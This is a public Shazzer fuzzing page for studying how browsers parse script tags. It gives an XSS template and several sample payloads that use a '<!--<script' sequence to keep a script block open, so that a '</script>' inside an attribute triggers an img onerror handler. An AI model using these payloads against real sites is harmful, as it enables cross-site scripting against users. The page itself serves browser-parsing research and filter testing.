Replaying...

Fuzzing weird script behaviour after script text

This demonstrates that Shazzer now allows you to fuzz script tags.

Shazzer Master

Created byhackvertor

Created Jul 18, 2024

Updated Sep 5, 2026

Unable to render tweet button

Detecting browser...

CategoryHTML Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<script>
x = "<!--<script$[chr]>"
</script>
<div title="</script><img src=data: onerror=log($[i])>"></div>

Sample payloads

<script>
x = "<!--<script0x09>"
</script>
<div title="</script><img src=data: onerror=alert(9)>"></div>

<script>
x = "<!--<script>>"
</script>
<div title="</script><img src=data: onerror=alert(62)>"></div>

<script>
x = "<!--<script/>"
</script>
<div title="</script><img src=data: onerror=alert(47)>"></div>

<script>
x = "<!--<script
>"
</script>
<div title="</script><img src=data: onerror=alert(13)>"></div>

<script>
x = "<!--<script >"
</script>
<div title="</script><img src=data: onerror=alert(32)>"></div>

<script>
x = "<!--<script0x0C>"
</script>
<div title="</script><img src=data: onerror=alert(12)>"></div>

<script>
x = "<!--<script
>"
</script>
<div title="</script><img src=data: onerror=alert(10)>"></div>